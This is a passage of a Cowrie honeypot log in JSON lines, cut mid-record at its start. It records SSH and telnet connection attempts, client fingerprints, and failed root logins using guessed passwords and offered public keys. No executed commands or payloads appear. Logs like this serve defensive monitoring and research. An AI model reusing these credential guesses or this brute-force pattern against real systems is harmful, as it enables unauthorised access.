2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:00.673284Z","src_ip":"43.130.57.37","session":"c8d58bcd7b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:00.979091Z","src_ip":"103.172.78.219","session":"200404a78027","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456789","message":"login attempt [root/abc123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:00.986571Z","src_ip":"43.130.57.37","session":"c8d58bcd7b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:02.063464Z","src_ip":"43.130.57.37","session":"c8d58bcd7b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.43822526931763,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:12.273258Z","src_ip":"192.119.13.58","session":"327b9dde7f45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":40058,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec558ce293e5","protocol":"ssh","message":"New connection: 103.122.221.179:40058 (10.17.0.5:22) [session: ec558ce293e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:18.287651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:18.292602Z","src_ip":"103.122.221.179","session":"ec558ce293e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:18.547082Z","src_ip":"103.122.221.179","session":"ec558ce293e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lovers","message":"login attempt [root/lovers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:19.311189Z","src_ip":"103.122.221.179","session":"ec558ce293e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:20.568560Z","src_ip":"103.122.221.179","session":"ec558ce293e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.103","src_port":14648,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3b31550895a","protocol":"ssh","message":"New connection: 89.37.117.103:14648 (10.17.0.5:22) [session: e3b31550895a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:28.389024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:28.393764Z","src_ip":"89.37.117.103","session":"e3b31550895a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:28.525034Z","src_ip":"89.37.117.103","session":"e3b31550895a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:49:39:7f:8c:7a:56:3d:51:ac:9b:a7:42:27:82:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoPs7rujrNU5MYdupf/q/GOmZJf7HfPYDBcLZPGOmqwFfEhvc8ZmcVkzj9sTrQeAWeSealPXHaTnJOlmjBRhEIMbDiVx1112Fu2bGZGQyhHQEYKQik7MzRbZgFizTZeB2ddTi3tnigAf3Nfb8ukmsSP7efuT4UF6U29MuGenc4ZbEp5jK9WauQ3PucJWjRcLbjY3KHU4o7eFJM//CXlz3Sg7iUiu/nN7w16zppaTJ0k/Lc+93bC4oshc2SfYQYRDwBGwpeQyfKqkSz5gp2MGwtKDEREuXy39t/66bxd3oYWdhqUyCMbj2hwQE9OWcKNzyAfYuXmJc7XOapyicPNDhww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:49:39:7f:8c:7a:56:3d:51:ac:9b:a7:42:27:82:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:29.145875Z","src_ip":"89.37.117.103","session":"e3b31550895a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:49:39:7f:8c:7a:56:3d:51:ac:9b:a7:42:27:82:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAoPs7rujrNU5MYdupf/q/GOmZJf7HfPYDBcLZPGOmqwFfEhvc8ZmcVkzj9sTrQeAWeSealPXHaTnJOlmjBRhEIMbDiVx1112Fu2bGZGQyhHQEYKQik7MzRbZgFizTZeB2ddTi3tnigAf3Nfb8ukmsSP7efuT4UF6U29MuGenc4ZbEp5jK9WauQ3PucJWjRcLbjY3KHU4o7eFJM//CXlz3Sg7iUiu/nN7w16zppaTJ0k/Lc+93bC4oshc2SfYQYRDwBGwpeQyfKqkSz5gp2MGwtKDEREuXy39t/66bxd3oYWdhqUyCMbj2hwQE9OWcKNzyAfYuXmJc7XOapyicPNDhww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:29.150043Z","src_ip":"89.37.117.103","session":"e3b31550895a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:7d:ce:b1:8a:a4:f8:d7:ab:f3:16:c4:2e:5c:4e:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3lndxyBw5XczH7SrIn3gfH4/SnJGXdSBKgVCaDsY73reCEqH4ap38O7s0f7Bn4kOUdLEBXYDYFJ2uBN6SY98HGKOygodNFNrqV0LHLOETWTHtfSAJRmo8FYCxURdo0diB+FrxIuUTOsK3gisHHvj3nwPSuXhtW3jW8JWEnuv711kao+SVwzBxshtE0fMWEDfJnzdGRhQNSNftkm11pbVBP8f4hkjdOPTtNsopfojvJJ7lSxBifRy4NUk+/quw0ZWFPfJ0Q3bn5NXupnqKANFVKeaQdh5Eyp9U6Mf7rF+aopjj0rsPP+2XMUUa8P9K08/hBkPgQIunxGwPBlkH0Q41","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:7d:ce:b1:8a:a4:f8:d7:ab:f3:16:c4:2e:5c:4e:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:29.282930Z","src_ip":"89.37.117.103","session":"e3b31550895a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:7d:ce:b1:8a:a4:f8:d7:ab:f3:16:c4:2e:5c:4e:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3lndxyBw5XczH7SrIn3gfH4/SnJGXdSBKgVCaDsY73reCEqH4ap38O7s0f7Bn4kOUdLEBXYDYFJ2uBN6SY98HGKOygodNFNrqV0LHLOETWTHtfSAJRmo8FYCxURdo0diB+FrxIuUTOsK3gisHHvj3nwPSuXhtW3jW8JWEnuv711kao+SVwzBxshtE0fMWEDfJnzdGRhQNSNftkm11pbVBP8f4hkjdOPTtNsopfojvJJ7lSxBifRy4NUk+/quw0ZWFPfJ0Q3bn5NXupnqKANFVKeaQdh5Eyp9U6Mf7rF+aopjj0rsPP+2XMUUa8P9K08/hBkPgQIunxGwPBlkH0Q41","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:29.286606Z","src_ip":"89.37.117.103","session":"e3b31550895a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:9b:f4:9d:50:b4:ee:35:b7:af:d6:5b:f3:a1:e0:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOC+2KlZcHMhkpMIF8EyOWgfITUDgjNgVvKjr7/d6LPlu2dDzwjR4OWG5y4AJFarQfL3iAgUPorFon7kilm6KV3fQZ6lrf2Izi1NsYwWXNIQ2OdXp/2q79AdA3T6NEGUY5ExBFeQ29hmNcGk71VdGS7LsY0XaNRlNZ00/Dbe+ThCBV1HZczUN/HoOrUUG1DhyL3OTTL6q8m0E++JfcoDxRQ7KmLW1Ao4gkwX+bWw+IpDV9Iod0Z7shsAd9EOYATRx8+kWPLaoel7uefusb0PNUrByifsIq5x7bRHrmI93WErBQFX94hfJHs+2mDBK/19javNOCbUjTdjWJ9BFqWAph","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:9b:f4:9d:50:b4:ee:35:b7:af:d6:5b:f3:a1:e0:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:29.416100Z","src_ip":"89.37.117.103","session":"e3b31550895a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:9b:f4:9d:50:b4:ee:35:b7:af:d6:5b:f3:a1:e0:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOC+2KlZcHMhkpMIF8EyOWgfITUDgjNgVvKjr7/d6LPlu2dDzwjR4OWG5y4AJFarQfL3iAgUPorFon7kilm6KV3fQZ6lrf2Izi1NsYwWXNIQ2OdXp/2q79AdA3T6NEGUY5ExBFeQ29hmNcGk71VdGS7LsY0XaNRlNZ00/Dbe+ThCBV1HZczUN/HoOrUUG1DhyL3OTTL6q8m0E++JfcoDxRQ7KmLW1Ao4gkwX+bWw+IpDV9Iod0Z7shsAd9EOYATRx8+kWPLaoel7uefusb0PNUrByifsIq5x7bRHrmI93WErBQFX94hfJHs+2mDBK/19javNOCbUjTdjWJ9BFqWAph","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:29.420503Z","src_ip":"89.37.117.103","session":"e3b31550895a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:47:9b:c0:d1:f7:fc:2a:19:dd:3f:7b:d1:60:0e:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT65jqeS39GxprSoiic9IFJgzY4+bsOWw17+JWl5SfPfYgtSf3MSctNja/xKo9kvmWcFZWSjhj7SYmuthyGaTDReA4gJJ5WqVpeznRV3DAoz8O4WcTClWJtO3sG8o4AaP0h91WOyoK2cWMpy5WzQPRZ8U4kEFirEaqIlg9OZKlyuu1XCcSCfCguwnuhxJPEhlg9+aZi4hY4C/vR5DKUQIX5JrX/MH/U688EwXboyPj3gVfqdL24hE7KQSocSjrbZlzGFgpd6g6+OsX0DdvY9gyBI+Lz0ExwipqUgr5N3do3J454RdAJ3IOd/H2Z5KTUCWgv357eePM4r0RrHFReasZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:47:9b:c0:d1:f7:fc:2a:19:dd:3f:7b:d1:60:0e:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:29.550810Z","src_ip":"89.37.117.103","session":"e3b31550895a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:47:9b:c0:d1:f7:fc:2a:19:dd:3f:7b:d1:60:0e:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT65jqeS39GxprSoiic9IFJgzY4+bsOWw17+JWl5SfPfYgtSf3MSctNja/xKo9kvmWcFZWSjhj7SYmuthyGaTDReA4gJJ5WqVpeznRV3DAoz8O4WcTClWJtO3sG8o4AaP0h91WOyoK2cWMpy5WzQPRZ8U4kEFirEaqIlg9OZKlyuu1XCcSCfCguwnuhxJPEhlg9+aZi4hY4C/vR5DKUQIX5JrX/MH/U688EwXboyPj3gVfqdL24hE7KQSocSjrbZlzGFgpd6g6+OsX0DdvY9gyBI+Lz0ExwipqUgr5N3do3J454RdAJ3IOd/H2Z5KTUCWgv357eePM4r0RrHFReasZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:29.554415Z","src_ip":"89.37.117.103","session":"e3b31550895a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:94:5c:7f:2c:26:58:6b:66:7c:db:8c:e5:9a:45:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJAG07nJQ8/X06RRttDYlHw8LJhwZMnYf/v2Z7oXPuJbuqNl90UMUlgm63Lw0Qsf2WdyJ15MD/gUJEFdn7glTjhNhkF5l3cdRMgCQMT8617olFHhvFs4JMiR4p1ItwJBY0ziE8Tl3Kb5XkFROIhc0VcCeVIt4cCoPvavLH+IP//yQDo5IDMn2mqwB2Ek5JWHRTAIv0H4KJJh2cFf98mVhlS4kDxkzuhfYK1gjh3BZ19mUYx+T+WVpBV9/VXFFQekTioia1RVJrx0xcBECD1HpmNEzO8aH52ER87OhzuAxyVCeyTsDb6oeYoSQbP2oQfa46yb4Xvrupr5CKpr3reSdB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:94:5c:7f:2c:26:58:6b:66:7c:db:8c:e5:9a:45:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:29.683322Z","src_ip":"89.37.117.103","session":"e3b31550895a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:94:5c:7f:2c:26:58:6b:66:7c:db:8c:e5:9a:45:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJAG07nJQ8/X06RRttDYlHw8LJhwZMnYf/v2Z7oXPuJbuqNl90UMUlgm63Lw0Qsf2WdyJ15MD/gUJEFdn7glTjhNhkF5l3cdRMgCQMT8617olFHhvFs4JMiR4p1ItwJBY0ziE8Tl3Kb5XkFROIhc0VcCeVIt4cCoPvavLH+IP//yQDo5IDMn2mqwB2Ek5JWHRTAIv0H4KJJh2cFf98mVhlS4kDxkzuhfYK1gjh3BZ19mUYx+T+WVpBV9/VXFFQekTioia1RVJrx0xcBECD1HpmNEzO8aH52ER87OhzuAxyVCeyTsDb6oeYoSQbP2oQfa46yb4Xvrupr5CKpr3reSdB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:29.686926Z","src_ip":"89.37.117.103","session":"e3b31550895a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:29.818555Z","src_ip":"89.37.117.103","session":"e3b31550895a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.164.251.88","src_port":51422,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8f672ef5d6e","protocol":"ssh","message":"New connection: 124.164.251.88:51422 (10.17.0.5:22) [session: b8f672ef5d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:34.149010Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:34.154563Z","src_ip":"124.164.251.88","session":"b8f672ef5d6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":57656,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d4fda3e8cd5","protocol":"ssh","message":"New connection: 193.228.128.84:57656 (159.203.135.109:22) [session: 9d4fda3e8cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:36.654792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:36.658883Z","src_ip":"193.228.128.84","session":"9d4fda3e8cd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:36.760826Z","src_ip":"193.228.128.84","session":"9d4fda3e8cd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345r","message":"login attempt [root/12345r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:37.067754Z","src_ip":"193.228.128.84","session":"9d4fda3e8cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:38.173880Z","src_ip":"193.228.128.84","session":"9d4fda3e8cd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.164.251.88","src_port":55312,"dst_ip":"10.17.0.5","dst_port":22,"session":"f57a522db981","protocol":"ssh","message":"New connection: 124.164.251.88:55312 (10.17.0.5:22) [session: f57a522db981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:42.211130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:42.215762Z","src_ip":"124.164.251.88","session":"f57a522db981","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:42.448596Z","src_ip":"124.164.251.88","session":"f57a522db981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:43.157292Z","src_ip":"124.164.251.88","session":"f57a522db981","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:44.387887Z","src_ip":"124.164.251.88","session":"f57a522db981","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.164.251.88","src_port":33060,"dst_ip":"10.17.0.5","dst_port":22,"session":"b690f43b1d6d","protocol":"ssh","message":"New connection: 124.164.251.88:33060 (10.17.0.5:22) [session: b690f43b1d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:45.285577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:38:45.290170Z","src_ip":"124.164.251.88","session":"b690f43b1d6d","protocol":"ssh"}
